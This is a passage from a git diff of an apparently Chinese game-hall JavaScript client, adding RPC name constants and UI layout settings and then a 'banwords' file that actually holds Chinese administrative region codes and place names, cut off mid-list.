"free_room"; +RpcList.over_game = "over_game"; +RpcList.get_player_grade1 = "get_player_grade1"; +RpcList.get_player_grade2 = "get_player_grade2"; +RpcList.update_roomcard = "update_roomcard"; +RpcList.other_offline = "other_offline"; +RpcList.other_online = "other_online"; +RpcList.send_voice = "send_voice"; +RpcList.play_voice = "play_voice"; +RpcList.send_text = "send_text"; +RpcList.receive_chat = "receive_chat"; +RpcList.get_player_task = "get_player_task"; +RpcList.player_finish_task = "player_finish_task"; +RpcList.get_task_award = "get_task_award"; +RpcList.can_award = "can_award"; +RpcList.kick_offline = "kick_offline"; +RpcList.call_phone = "call_phone"; +RpcList.other_callphone = "other_callphone"; +RpcList.hangup_phone = "hangup_phone"; +RpcList.other_hangup = "other_hangup"; +RpcList.self_makewar = "self_makewar"; +RpcList.other_makewar = "other_makewar"; +RpcList.agentserver_game="agentserver_game"; +RpcList.send_gift="send_gift"; +RpcList.other_send_gift="other_send_gift"; +RpcList.send_voice="send_voice"; +RpcList.play_voice="play_voice"; +RpcList.connect_roomserver="connect_roomserver"; +RpcList.connect_agentserver="connect_agentserver"; +RpcList.broadcast="broadcast"; +RpcList.send_phiz="send_phiz"; +RpcList.submit_opinion = "submit_opinion"; +RpcList.kick_server = "kick_server"; +RpcList.get_paylist = "get_paylist"; +RpcList.pay_succ = "pay_succ"; +RpcList.submit_location = "submit_location"; +RpcList.binding_invitecode = "binding_invitecode"; +RpcList.update_bean = "update_bean"; +RpcList.get_player_invitecode = "get_player_invitecode"; +RpcList.beanroom_surrender = "beanroom_surrender"; +RpcList.player_prepare = "player_prepare"; +RpcList.share_room = "share_room"; +RpcList.get_share_room = "get_share_room"; +RpcList.quick_enter_share_room = "quick_enter_share_room"; +RpcList.advanced_roomlist = "advanced_roomlist"; +RpcList.advanced_createroom = "advanced_createroom"; +RpcList.change_room = "change_room"; +RpcList.change_seat = "change_seat"; +RpcList.set_bankpwd = "set_bankpwd"; + +RpcList.binding_phone = "binding_phone"; + +RpcList.send_phone_checkcode = "send_phone_checkcode"; +RpcList.send_phone_code_wechat = "send_phone_code_wechat"; + +RpcList.get_treasurelist = "get_treasurelist"; +RpcList.change_star = "change_star"; + +RpcList.submit_phoneinfo = "submit_phoneinfo"; + +RpcList.update_charm = "update_charm"; + +RpcList.setSign = "setSign"; + +RpcList.switchRoomList = "switchRoomList"; + +RpcList.getInfoByShortCode = "getInfoByShortCode"; + +RpcList.optBanList = "optBanList"; +RpcList.getShortCodeRankList = "getShortCodeRankList"; + +RpcList.setAllCharm = "setAllCharm"; +RpcList.getVipRankList = "getVipRankList"; +RpcList.playerBehavior = "playerBehavior"; +RpcList.setVipForbidSelect = "setVipForbidSelect"; + +RpcList.topup_card = "topup_card"; +RpcList.query_player2 = "query_player2"; +RpcList.giveCoin = "giveCoin"; + +RpcList.getPlayerWhiteList = "getPlayerWhiteList"; +RpcList.optWhiteList = "optWhiteList"; + +var h5RpcList={} +h5RpcList.joinRoom = "joinRoom"; +//----------------------------end------------------------------ + +var ClickBtn = [3,5,7,13,14,15,10,11,12,25,17,9,47,51,53,55,58,59,76,60,61,74,75,80,115,183,150,151,153,181,201,202,183,184,185,205,206,207,208,209,210,211,212,166,167,168,169,170,124,127,130, + 133,233,245,246,247,253,248,249,253,256,257,258,259,260,261,262,263,550,177,283,375,391,392,393,394,395,396,397, + 398,399,400,401,402,403,366,367,386,464,234,345,483,484,493,509,512,513,514,515,519,520,521,568,569,570,571,572,579, + 602,626,604,656,661,662,663,664,665,666,667,668,669,670,671,3000,3004,3007,3008,3009,3010,3011,3014,3016,3017,3018,3019, + 3034,3035,3044,3045,3046,3047,3048,3049,3050,3051,3052,3053,3054,3055,3057,3043,3038,3039,3067,3068,3087,3088,3089,3096,3075,3076,3097,3111,3120,92,93,97, + 99,104,105,106,107,3133,3139,3140,3144,3145,3149,3155,3159,679,3182,3184,3175,3194,3195,3199,3214,3215,3205,3206,3210, + 3203,3216,3217,3222,3231,3232,3233,3235,3240,3251,3253,3243,3244,3245,3255,3256,3258,3260,3264,3265,3266,3268,3269,3289,3281,3276,3274]; +var C_PageOne = { + Tag:1, + X:1100, + Y:160, + H:80 +}; +var C_PageTwo = { + Tag:1, + X:1100, + Y:160, + H:80 +}; +var UnClickBtn = [8,50,225,227,228,229,699,161,162,164,165,370,426,427,428,429,430,431,432,433,434,435,446,447,448,449,450,451,452,453,454,455,468,469,470,471,472,473,474,475,476,477,498,499,500,501, +502,503,504,505,506,507,81,573,574,575,629,630,631,632,633,3056,3040,3058,3041,3061,3062,3071,3072,3069,3070,3090,3091,3092,3093,3094,3095,3098,3104,3108,3115,3116,3118,3119, +102,336,337,338,155,154,156,110,111,3127,3128,3141,3142,3146,3147,3151,3157,3099,3197,3212,3237,3246,3247,3248,3249,3250,3291,3280,3288,3283,3279,3292 +]; +var exceptSrc = [115,5,253,338,339,340,21,361,362,363,364,365,366,367,368,369,370,371,372,396]; +var ConstVal=ConstVal||{}; +ConstVal.Max = { + ShowChat:2000, + textlength:20, + headImgTimer:200, + heartbeat:30000 +}; + +ConstVal.Tips={ + width:30, + time:3000, + +}; +ConstVal.Kick={ + text:"网络出现异常!", + tip:"(请重启游戏)" +}; +ConstVal.screenShotParam = 0.7; +ConstVal.ShareTaskId="TJnueK1103Xgwj2o79xM2nvSe0WN6rzp"; + +ConstVal.iMessage={ + text_y1:-60, + text_y2:25, + icon_x:20, + icon_y1:-65, + icon_y2:20, + close_x:1205, + close_y1:-60, + close_y2:25, + bg_y1:-85, + bg_y2:0, + time:500, + x1:85, + x2:1205, + y:0, + h:85, + speed:0.05, + max_length:60 +}; +ConstVal.Emotion = { + //动画帧间隔200 + mode:1,//表情播放时间模式1->按帧数确定时间2->按照show_time_list确定 + count:20, + f_spid:467, + tag:1, + rate:100, + col_num:4,//一行上的个数 + spid_list:[528,529,530,531,532,533,534,535,536,537,538,539,540,541,542,543,544,545,546,547],//表情精灵列表序号对应 + src_list:[147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166],//表情对应资源号 + frame_list:[5,25,31,30,14,7,8,17,3,8,30,14,35,24,23,15,6,24,31,9],//表情对应帧数 + show_time_list:[147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166],//表情播放时间 + x:20, + y:20, + dis_x:20, + dis_y:20, + w:100, + h:100, + clip_x:0, + clip_y:0, + clip_h:0, + clip_w:0 + +} +ConstVal.Com_History = { + //动画帧间隔200 + f_spid:696, + head_tag:1, + page_count:5, + text_width:12.5, + bubble_tag:10000, + content_tag:20000, + time_tag:30000, + time_length:[10,30,60,90,120,300], + bubble_width:[100,140,180,220,260,300,340],//气泡长度 + head_res_id:116, + head_x:20, + head_y:30, + head_h:60, + head_dis_y:35, + time_bubble_dis_x:10, + head_bubble_dis_x:78, + bubble_content_dis_x:25, + head_bubble_dis_y:0, + head_content_1_dis_y:13, + head_content_2_dis_y:13, + time_bubble_dis_y:13, + clip_x:0, + clip_y:0, + clip_h:0, + clip_w:0 + +} +ConstVal.Task = { + f_spid:176,//父精灵 + bg_spid:120,//背景精灵 + task_des_spid:135,//任务描述精灵 + reward_des_spid:307,//任务奖励描述 + proc_bg_spid:311,//任务进度背景 + proc_spid:315,//任务进度前景 + proc_des_spid:319,//任务进度文字描述 + get_reward_btn_spid:124,//领取任务按钮 + isreward_spid:328,//已领取 + tofinish_btn_spid:125,//去完成任务 + //tag值 + bg_tag:1, + task_des_tag:1000, + reward_des_tag:2000, + proc_bg_tag:3000, + proc_tag:4000, + proc_des_tag:5000, + get_reward_btn_tag:6000, + isreward_tag:7000, + tofinish_btn_tag:8000, + //位置 + bg_x:0, + bg_y:0, + bg_w:0,//动态获取 + bg_dis_x:0, + + task_des_x:30, + task_des_y:30, + + reward_des_y:265, + proc_bg_y:380, + proc_y:380, + proc_des_y:380, + get_reward_btn_y:368, + isreward_y:365, + tofinish_btn_y:330, + + clip_x:110, + clip_y:170, + clip_w:0, + clip_h:0 +} +ConstVal.Launch_mode={ + name:"Launchtype", + from_hall:1, + from_self:0 +}; +ConstVal.OS = {//操作系统类型 + apple:1,//苹果 + android:2,//安卓 + winphone:3,//windowsphone + other:4//其他 +}; +ConstVal.InterEffSoundsList = ["00001.mp3","00002.mp3","00003.mp3","00004.mp3"]; +ConstVal.soudsSpidList = [235,13,5,6,7,9,339,11,12,14,15,249,10,376,377,378,379,380,381,382,383,384,385,150,153,151,283,181,513,233,185]; +ConstVal.Broadcast = { + textwidth:18, + speed:0.1, + clip_x:0, + clip_y:0, + clip_w:0, + clip_h:0 +}; +ConstVal.Notice = { + replaceOldWord:"#", + replaceNewWord:"\n", + lineHeight:60, + textHeight:30, + textWidth:14, + clip_x:0, + clip_y:0, + clip_w:725, + clip_h:450, + img_clip_x:366, + img_clip_y:156, + img_clip_w:765, + img_clip_h:483, +}; +ConstVal.payConfig = { + enablePay:false +}; + +ConstVal.loginButton = { + key:"loginimage", + type1:[1,22],//0->类型值 1->图片资源ID + type2:[2,203] +} + +ConstVal.userAgent = { + paraName:"", + uAgent_1:1, + uAgent_2:2, + uAgent_3:3 +}; +ConstVal.worldRoom = { + f_sp_1:522, + f_sp_2:523, + bg_sp_1:524, + bg_sp_2:525, + top_sp_1:526, + top_sp_2:563, + des_sp_1:527, + des_sp_2:564, + starbg_sp_1:566, + starbg_sp_2:567, + star_sp_1:562, + star_sp_2:565, + mult_sp_1:3020, + mult_sp_2:3021, + join_sp_1:3022, + join_sp_2:3023, + pCount_sp_1:3024, + leave_sp_2:3025, + topImg_sp:96, + title_sp:3165, + + multIcon_sp:94, + multImg_sp:95, + imgList:[361,362,363,364,365,366,367,368,369,370,371,372], + multIcon_y:100, + multImg_y:119, + topImg_y:25, + multImgWidth:25, + multIconImgSpace:20, + + pCountIcon_sp_2:3026, + pCount_sp_2:3027, + roomCode_sp_2:3028, + + + bg_sp_tag_1:1, + top_sp_tag_1:2000, + des_sp_tag_1:4000, + starbg_sp_tag_1:6000, + star_sp_tag_1:8000, + mult_sp_tag_1:10000, + pCount_sp_tag_1:12000, + join_sp_tag_1:14000, + multIcon_tag:16000, + multImg_tag:18000, + topImg_tag:20000, + + + bg_sp_tag_2:1, + top_sp_tag_2:2000, + des_sp_tag_2:4000, + starbg_sp_tag_2:6000, + star_sp_tag_2:8000, + mult_sp_tag_2:10000, + leave_sp_tag_2:12000, + roomCode_sp_tag_2:14000, + pCountIcon_sp_tag_2:16000, + join_sp_tag_2:18000, + pCount_sp_tag_2:20000, + title_tag:40000, + + clip_x_1:0, + clip_x_2:0, + clip_y_1:0, + clip_y_2:0, + clip_w_1:1050, + clip_w_2:1150, + clip_h_1:512, + clip_h_2:465, + + bg_sp_x_1:0, + bg_sp_x_2:0, + bg_sp_y_1:0, + bg_sp_y_2:0, + //bg_sp_y_2:43, + bg_sp_space_1:6, + bg_sp_space_2:15, + top_sp_x_1:25, + top_sp_x_2:25, + top_sp_y_1:35, + top_sp_y_2:20, + top_sp_width_1:20, + top_sp_width_2:13, + top_sp_space_1:6, + top_sp_space_2:6, + des_sp_x_1:25, + des_sp_x_2:30, + title_sp_x:20, + title_sp_y:3, + des_sp_y_1:80, + des_sp_y_2:45, + des_sp_width_1:11, + des_sp_width_2:11, + des_sp_space_1:6, + des_sp_space_2:6, + + //mult_sp_x_1:10000, + pCount_sp_x_1:80, + join_sp_x_1:302,//靠右显示 + mult_sp_y_1:74, + pCount_sp_y_1:193, + join_sp_y_1:193, + + mult_sp_x_2:30, + roomCode_sp_x_2:775, + pCountIcon_sp_x_2:170, + join_sp_x_2:700,//靠右显示 + leave_sp_x_2:700,//靠右显示 + + pCountIcon_pCount_space_2:10, + pCount_space_2:8, + + //mult_sp_y_2:72, + //roomCode_sp_y_2:25, + //pCountIcon_sp_y_2:76, + //join_sp_y_2:72, + //leave_sp_y_2:23, + //pCount_sp_y_2:81, + + mult_sp_y_2:92, + roomCode_sp_y_2:45, + pCountIcon_sp_y_2:96, + join_sp_y_2:92, + leave_sp_y_2:45, + pCount_sp_y_2:101, + + + starbg_sp_x_1:35, + starbg_sp_x_2:35, + starbg_sp_y_1:182, + starbg_sp_y_2:182, + starbg_sp_space_1:6, + starbg_sp_space_2:6, + + star_sp_x_1:35, + star_sp_x_2:35, + star_sp_y_1:189, + star_sp_y_2:189, + star_sp_space_1:6, + star_sp_space_2:6, + + mult_sp_w_1:13, + join_sp_w_1:10, + + join_sp_w_2:12, + leave_sp_w_2:12, + mult_sp_w_2:13, + roomCode_sp_w_2:16, + + bgSpaceX:438, + bgSpaceY:250, +}; +ConstVal.snrRoomList ={ + f_spid:611, + bg_spid:622, + rcode_bg_spid:623, + rcode_spid:624, + close_spid:625, + update_spid:626, + switch_spid:627, + info_spid:600, + profit_spid:601, + video_spid:3138, + + bg_tag:1, + rcode_bg_tag:200, + rcode_tag:400, + close_tag:600, + update_tag:800, + switch_tag:1000, + info_tag:1200, + profit_tag:1400, + video_tag:1600, + + clip_x:0, + clip_y:0, + clip_w:900, + clip_h:0, + + bg_x:15, + rcode_bg_x:33, + rcode_x:35, + close_x:70, + update_x:20, + switch_x:150, + info_x:35, + profit_x:150, + video_x:420, + + bg_y:10, + rcode_bg_y:260, + rcode_y:28, + close_y:260, + update_y:90, + switch_y:90, + info_y:80, + profit_y:25, + video_y:20, + + profit_w:12, + + bg_space:5, + rcode_bg_space:35, + rcode_space:50, + close_space:300, + update_space:400, + switch_space:500, + + bksp:3137, + + +}; +ConstVal.rankList ={ + f_spid:609, + bg_spid:610, + badge_spid:629, + headimg_spid:630, + headfront_spid:631, + name_spid:632, + star_spid:633, + + bg_tag:1, + badge_tag:100, + headimg_tag:200, + headfront_tag:300, + name_tag:400, + star_tag:500, + + clip_x:0, + clip_y:0, + clip_w:0, + clip_h:511, + + bg_x:0, + badge_x:-20, + headimg_x:93, + headfront_x:85, + name_x:190, + star_x:190, + + bg_y:0, + badge_y:-5, + headimg_y:12, + headfront_y:5, + name_y:8, + star_y:42, + + + space:13, + + headsrc:262 + +}; +ConstVal.MenuScene = { + createBtn_1:[780,182],//有星星场 + joinBtn_1:[780,320], + starBtn:[780,458], + createBtn_2:[780,230], + joinBtn_2:[780,405] +}; +//仓库 +ConstVal.wareHouse = { + tableBgX:[41,33], + tableTextX:[57,51], + passWordLength:6, +}; +ConstVal.sysNotice = { + f_spid:3109, + bubble_spid:163, + msg_spid:3110, + + msg_width:11, + msg_tag:50000, + msg_rOld:"#", + msg_rNew:"\n", + lineHeight:25, + limit:10000, + bubble_tag:1, + x:20, + y:20, + spaceX:40, + spaceY:40, + + bm_space_x:20, + bm_space_y:35, + + + lineSpace:30,// 行距 + noteSpace:40,//每条的距离 + clip_x:0, + clip_y:0, + clip_h:0, + clip_w:0 +} +ConstVal.starConfig = { + resList:[214,214], +} +ConstVal.Animation = { + time1:1200, + time2:2000, + fundTime:5230, + deltaTime:1000, +}; +ConstVal.myRoomList ={ + maxLength:5, + fSpid:98, + + bgSp:100, + roomCodeSp:102, + + bgTag:1, + roomCodeTag:100, + placeX:0, + placeY:95, + bgX:8, + bgY:55, + space:5, + + rCodeX:140, + rCodeY:85, + //clip_x:8, + //clip_y:160, + //clip_w:265, + //clip_h:450, + + roomCodeWidth:14, +} +ConstVal.netType = 0; +ConstVal.isGameHall = false; + +ConstVal.vipRoomList1 = { + f_spid:3172, + bg_spid:3176, + title_spid:3177, + code_spid:3178, + owner_spid:3179, + count_spid:3180, + del_spid:3181, + des_spid:3189, + enter_spid:3192, + + bg_tag:1, + title_tag:1000, + code_tag:2000, + owner_tag:3000, + count_tag:4000, + des_tag:5000, + del_tag:6000, + enter_tag:7000, + + clip_x:0, + clip_y:0, + clip_w:0, + clip_h:460, + + space:199, + + title_x:20, + code_x:70, + des_x:25, + owner_x:270, + count_x:525, + del_x:583, + enter_x:514, + + title_y:3, + code_y:148, + des_y:50, + owner_y:146, + count_y:146, + del_y:0, + enter_y:42, + +} +ConstVal.vipRoomList2 = { + f_spid:3185, + bg_spid:3186, + code_spid:3187, + count_spid:3188, + + bg_tag:1, + code_tag:1000, + count_tag:2000, + + clip_x:0, + clip_y:0, + clip_w:0, + clip_h:460, + + spaceX:285, + spaceY:145, + + code_x:56, + count_x:50, + + + code_y:25, + count_y:65, + + countW:12, + +} +ConstVal.blackList = { + f_spid:3204, + bg_spid:3207, + id_spid:3209, + del_spid:3208, + + bg_tag:1, + id_tag:10000, + del_tag:20000, + + clip_x:0, + clip_y:0, + clip_w:0, + clip_h:0, + + id_x:25, + del_x:330, + + id_y:12, + del_y:4, + + space:8, + + + +}; + +ConstVal.vipRank = { + f_spid:3227, + bg_spid:3223, + txt_spid:3229, + rank_spid:3228, + score_spid:3230, + + bg_tag:1, + txt_tag:10000, + rank_tag:20000, + score_tag:30000, + + clip_x:0, + clip_y:0, + clip_w:0, + clip_h:0, + + txt_x:70, + rank_x:0, + score_x:230, + + txt_y:10, + rank_y:4, + score_y:10, + + rank_space:10, + + space:8, + rank_w:25, + + +}; +ConstVal.whiteList = { + f_spid:3272, + bg_spid:3277, + id_spid:3279, + del_spid:3278, + charm_spid:3292, + + bg_tag:1, + id_tag:10000, + del_tag:20000, + charm_tag:30000, + + clip_x:0, + clip_y:0, + clip_w:0, + clip_h:0, + + id_x:25, + del_x:450, + charm_x:200, + + id_y:12, + del_y:4, + charm_y:12, + + + space:8, + + + +}; + + + + diff --git a/games/games/Projects/clinet/gamehall/js/00_Surface/03_Banwords.js b/games/games/Projects/clinet/gamehall/js/00_Surface/03_Banwords.js new file mode 100644 index 0000000..f6deaf7 --- /dev/null +++ b/games/games/Projects/clinet/gamehall/js/00_Surface/03_Banwords.js @@ -0,0 +1,3 @@ +var banwords = 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{"110000":"北京市","110100":"北京市市辖区","110101":"北京市东城区","110102":"北京市西城区","110103":"北京市崇文区","110104":"北京市宣武区","110105":"北京市朝阳区","110106":"北京市丰台区","110107":"北京市石景山区","110108":"北京市海淀区","110109":"北京市门头沟区","110111":"北京市房山区","110112":"北京市通州区","110113":"北京市顺义区","110200":"北京市县","110221":"北京市昌平县","110224":"北京市大兴县","110226":"北京市平谷县","110227":"北京市怀柔县","110228":"北京市密云县","110229":"北京市延庆县","120000":"天津市","120100":"天津市市辖区","120101":"天津市和平区","120102":"天津市河东区","120103":"天津市河西区","120104":"天津市南开区","120105":"天津市河北区","120106":"天津市红桥区","120107":"天津市塘沽区","120108":"天津市汉沽区","120109":"天津市大港区","120110":"天津市东丽区","120111":"天津市西青区","120112":"天津市津南区","120113":"天津市北辰区","120200":"天津市县","120221":"天津市宁河县","120222":"天津市武清县","120223":"天津市静海县","120224":"天津市宝坻县","120225":"天津市蓟县","130000":"河北省","130100":"河北省石家庄市","130101":"河北省石家庄市市辖区","130102":"河北省石家庄市长安区","130103":"河北省石家庄市桥东区","130104":"河北省石家庄市桥西区","130105":"河北省石家庄市新华区","130106":"河北省石家庄市郊区","130107":"河北省石家庄市井陉矿区","130121":"河北省石家庄市井陉县","130123":"河北省石家庄市正定县","130124":"河北省石家庄市栾城县","130125":"河北省石家庄市行唐县","130126":"河北省石家庄市灵寿县","130127":"河北省石家庄市高邑县","130128":"河北省石家庄市深泽县","130129":"河北省石家庄市赞皇县","130130":"河北省石家庄市无极县","130131":"河北省石家庄市平山县","130132":"河北省石家庄市元氏县","130133":"河北省石家庄市赵县","130181":"河北省石家庄市辛集市","130182":"河北省石家庄市藁城市","130183":"河北省石家庄市晋州市","130184":"河北省石家庄市新乐市","130185":"河北省石家庄市鹿泉市","130200":"河北省唐山市","130201":"河北省唐山市市辖区","130202":"河北省唐山市路南区","130203":"河北省唐山市路北区","130204":"河北省唐山市古冶区","130205":"河北省唐山市开平区","130206":"河北省唐山市新区","130221":"河北省唐山市丰润县","130223":"河北省唐山市滦县","130224":"河北省唐山市滦南县","130225":"河北省唐山市乐亭县","130227":"河北省唐山市迁西县","130229":"河北省唐山市玉田县","130230":"河北省唐山市唐海县","130281":"河北省唐山市遵化市","130282":"河北省唐山市丰南市","130283":"河北省唐山市迁安市","130300":"河北省秦皇岛市秦皇岛市","130301":"河北省秦皇岛市市辖区","130302":"河北省秦皇岛市海港区","130303":"河北省秦皇岛市山海关区","130304":"河北省秦皇岛市北戴河区","130321":"河北省秦皇岛市青龙满族自治县","130322":"河北省秦皇岛市昌黎县","130323":"河北省秦皇岛市抚宁县","130324":"河北省秦皇岛市卢龙县","130400":"河北省邯郸市邯郸市","130401":"河北省邯郸市市辖区","130402":"河北省邯郸市邯山区","130403":"河北省邯郸市丛台区","130404":"河北省邯郸市复兴区","130406":"河北省邯郸市峰峰矿区","130421":"河北省邯郸市邯郸县","130423":"河北省邯郸市临漳县","130424":"河北省邯郸市成安县","130425":"河北省邯郸市大名县","130426":"河北省邯郸市涉县","130427":"河北省邯郸市磁县","130428":"河北省邯郸市肥乡县","130429":"河北省邯郸市永年县","130430":"河北省邯郸市邱县","130431":"河北省邯郸市鸡泽县","130432":"河北省邯郸市广平县","130433":"河北省邯郸市馆陶县","130434":"河北省邯郸市魏县","130435":"河北省邯郸市曲周县","130481":"河北省邯郸市武安市","130500":"河北省邢台市","130501":"河北省邢台市市辖区","130502":"河北省邢台市桥东区","130503":"河北省邢台市桥西区","130521":"河北省邢台市邢台县","130522":"河北省邢台市临城县","130523":"河北省邢台市内丘县","130524":"河北省邢台市柏乡县","130525":"河北省邢台市隆尧县","130526":"河北省邢台市任县","130527":"河北省邢台市南和县","130528":"河北省邢台市宁晋县","130529":"河北省邢台市巨鹿县","130530":"河北省邢台市新河县","130531":"河北省邢台市广宗县","130532":"河北省邢台市平乡县","130533":"河北省邢台市威县","130534":"河北省邢台市清河县","130535":"河北省邢台市临西县","130581":"河北省邢台市南宫市","130582":"河北省邢台市沙河市","130600":"河北省保定市","130601":"河北省保定市市辖区","130602":"河北省保定市新市区","130603":"河北省保定市北市区","130604":"河北省保定市南市区","130621":"河北省保定市满城县","130622":"河北省保定市清苑县","130623":"河北省保定市涞水县","130624":"河北省保定市阜平县","130625":"河北省保定市徐水县","130626":"河北省保定市定兴县","130627":"河北省保定市唐县","130628":"河北省保定市高阳县","130629":"河北省保定市容城县","130630":"河北省保定市涞源县","130631":"河北省保定市望都县","130632":"河北省保定市安新县","130633":"河北省保定市易县","130634":"河北省保定市曲阳县","130635":"河北省保定市蠡县","130636":"河北省保定市顺平县","130637":"河北省保定市博野县","130638":"河北省保定市雄县","130681":"河北省保定市涿州市","130682":"河北省保定市定州市","130683":"河北省保定市安国市","130684":"河北省保定市高碑店市","130700":"河北省张家口市","130701":"河北省张家口市市辖区","130702":"河北省张家口市桥东区","130703":"河北省张家口市桥西区","130705":"河北省张家口市宣化区","130706":"河北省张家口市下花园区","130721":"河北省张家口市宣化县","130722":"河北省张家口市张北县","130723":"河北省张家口市康保县","130724":"河北省张家口市沽源县","130725":"河北省张家口市尚义县","130726":"河北省张家口市蔚县","130727":"河北省张家口市阳原县","130728":"河北省张家口市怀安县","130729":"河北省张家口市万全县","130730":"河北省张家口市怀来县","130731":"河北省张家口市涿鹿县","130732":"河北省张家口市赤城县","130733":"河北省张家口市崇礼县","130800":"河北省承德市","130801":"河北省承德市市辖区","130802":"河北省承德市双桥区","130803":"河北省承德市双滦区","130804":"河北省承德市鹰手营子矿区","130821":"河北省承德市承德县","130822":"河北省承德市兴隆县","130823":"河北省承德市平泉县","130824":"河北省承德市滦平县","130825":"河北省承德市隆化县","130826":"河北省承德市丰宁满族自治县","130827":"河北省承德市宽城满族自治县","130828":"河北省承德市围场满族蒙古族自治县","130900":"河北省沧州市","130901":"河北省沧州市市辖区","130902":"河北省沧州市新华区","130903":"河北省沧州市运河区","130921":"河北省沧州市沧县","130922":"河北省沧州市青县","130923":"河北省沧州市东光县","130924":"河北省沧州市海兴县","130925":"河北省沧州市盐山县","130926":"河北省沧州市肃宁县","130927":"河北省沧州市南皮县","130928":"河北省沧州市吴桥县","130929":"河北省沧州市献县","130930":"河北省沧州市孟村回族自治县","130981":"河北省沧州市泊头市","130982":"河北省沧州市任丘市","130983":"河北省沧州市黄骅市","130984":"河北省沧州市河间市","131000":"河北省廊坊市","131001":"河北省廊坊市市辖区","131002":"河北省廊坊市安次区","131022":"河北省廊坊市固安县","131023":"河北省廊坊市永清县","131024":"河北省廊坊市香河县","131025":"河北省廊坊市大城县","131026":"河北省廊坊市文安县","131028":"河北省廊坊市大厂回族自治县","131081":"河北省廊坊市霸州市","131082":"河北省廊坊市三河市","131100":"河北省衡水市","131101":"河北省衡水市市辖区","131102":"河北省衡水市桃城区","131121":"河北省衡水市枣强县","131122":"河北省衡水市武邑县","131123":"河北省衡水市武强县","131124":"河北省衡水市饶阳县","131125":"河北省衡水市安平县","131126":"河北省衡水市故城县","131127":"河北省衡水市景县","131128":"河北省衡水市阜城县","131181":"河北省衡水市冀州市","131182":"河北省衡水市深州市","140000":"山西省","140100":"山西省太原市","140101":"山西省太原市市辖区","140105":"山西省太原市小店区","140106":"山西省太原市迎泽区","140107":"山西省太原市杏花岭区","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山市金家庄区","340503":"安徽省马鞍山市花山区","340504":"安徽省马鞍山市雨山区","340505":"安徽省马鞍山市向山区","340521":"安徽省马鞍山市当涂县","340600":"安徽省淮北市","340601":"安徽省淮北市市辖区","340602":"安徽省淮北市杜集区","340603":"安徽省淮北市相山区","340604":"安徽省淮北市烈山区","340621":"安徽省淮北市濉溪县","340700":"安徽省铜陵市","340701":"安徽省铜陵市市辖区","340702":"安徽省铜陵市铜官山区","340703":"安徽省铜陵市狮子山区","340711":"安徽省铜陵市郊区","340721":"安徽省铜陵市铜陵县","340800":"安徽省安庆市","340801":"安徽省安庆市市辖区","340802":"安徽省安庆市迎江区","340803":"安徽省安庆市大观区","340811":"安徽省安庆市郊区","340822":"安徽省安庆市怀宁县","340823":"安徽省安庆市枞阳县","340824":"安徽省安庆市潜山县","340825":"安徽省安庆市太湖县","340826":"安徽省安庆市宿松县","340827":"安徽省安庆市望江县","340828":"安徽省安庆市岳西县","340881":"安徽省安庆市桐城市","341000":"安徽省黄山市","341001":"安徽省黄山市市辖区","341002":"安徽省黄山市屯溪区","341003":"安徽省黄山市黄山区","341004":"安徽省黄山市徽州区","341021":"安徽省黄山市歙县","341022":"安徽省黄山市休宁县","341023":"安徽省黄山市黟县","341024":"安徽省黄山市祁门县","341100":"安徽省滁州市","341101":"安徽省滁州市市辖区","341102":"安徽省滁州市琅琊区","341103":"安徽省滁州市南谯区","341122":"安徽省滁州市来安县","341124":"安徽省滁州市全椒县","341125":"安徽省滁州市定远县","341126":"安徽省滁州市凤阳县","341181":"安徽省滁州市天长市","341182":"安徽省滁州市明光市","341200":"安徽省阜阳市","341201":"安徽省阜阳市市辖区","341202":"安徽省阜阳市颍州区","341203":"安徽省阜阳市颍东区","341204":"安徽省阜阳市颍泉区","341221":"安徽省阜阳市临泉县","341222":"安徽省阜阳市太和县","341223":"安徽省阜阳市涡阳县","341224":"安徽省阜阳市蒙城县","341225":"安徽省阜阳市阜南县","341226":"安徽省阜阳市颍上县","341227":"安徽省阜阳市利辛县","341281":"安徽省阜阳市亳州市","341282":"安徽省阜阳市界首市","341300":"安徽省宿州市","341301":"安徽省宿州市市辖区","341302":"安徽省宿州市甬桥区","341321":"安徽省宿州市砀山县","341322":"安徽省宿州市萧县","341323":"安徽省宿州市灵璧县","341324":"安徽省宿州市泗县","342400":"安徽省六安地区","342401":"安徽省六安地区六安市","342422":"安徽省六安地区寿县","342423":"安徽省六安地区霍邱县","342425":"安徽省六安地区舒城县","342426":"安徽省六安地区金寨县","342427":"安徽省六安地区霍山县","342500":"安徽省宣城地区","342501":"安徽省宣城地区宣州市","342502":"安徽省宣城地区宁国市","342522":"安徽省宣城地区郎溪县","342523":"安徽省宣城地区广德县","342529":"安徽省宣城地区泾县","342530":"安徽省宣城地区旌德县","342531":"安徽省宣城地区绩溪县","342600":"安徽省巢湖地区","342601":"安徽省巢湖地区巢湖市","342622":"安徽省巢湖地区庐江县","342623":"安徽省巢湖地区无为县","342625":"安徽省巢湖地区含山县","342626":"安徽省巢湖地区和县","342900":"安徽省池州地区","342901":"安徽省池州地区贵池市","342921":"安徽省池州地区东至县","342922":"安徽省池州地区石台县","342923":"安徽省池州地区青阳县","350000":"福建省","350100":"福建省福州市","350101":"福建省福州市市辖区","350102":"福建省福州市鼓楼区","350103":"福建省福州市台江区","350104":"福建省福州市仓山区","350105":"福建省福州市马尾区","350111":"福建省福州市晋安区","350121":"福建省福州市闽侯县","350122":"福建省福州市连江县","350123":"福建省福州市罗源县","350124":"福建省福州市闽清县","350125":"福建省福州市永泰县","350128":"福建省福州市平潭县","350181":"福建省福州市福清市","350182":"福建省福州市长乐市","350200":"福建省厦门市","350201":"福建省厦门市市辖区","350202":"福建省厦门市鼓浪屿区","350203":"福建省厦门市思明区","350204":"福建省厦门市开元区","350205":"福建省厦门市杏林区","350206":"福建省厦门市湖里区","350211":"福建省厦门市集美区","350212":"福建省厦门市同安区","350300":"福建省莆田市","350301":"福建省莆田市市辖区","350302":"福建省莆田市城厢区","350303":"福建省莆田市涵江区","350321":"福建省莆田市莆田县","350322":"福建省莆田市仙游县","350400":"福建省三明市","350401":"福建省三明市市辖区","350402":"福建省三明市梅列区","350403":"福建省三明市三元区","350421":"福建省三明市明溪县","350423":"福建省三明市清流县","350424":"福建省三明市宁化县","350425":"福建省三明市大田县","350426":"福建省三明市尤溪县","350427":"福建省三明市沙县","350428":"福建省三明市将乐县","350429":"福建省三明市泰宁县","350430":"福建省三明市建宁县","350481":"福建省三明市永安市","350500":"福建省泉州市","350501":"福建省泉州市市辖区","350502":"福建省泉州市鲤城区","350503":"福建省泉州市丰泽区","350504":"福建省泉州市洛江区","350521":"福建省泉州市惠安县","350524":"福建省泉州市安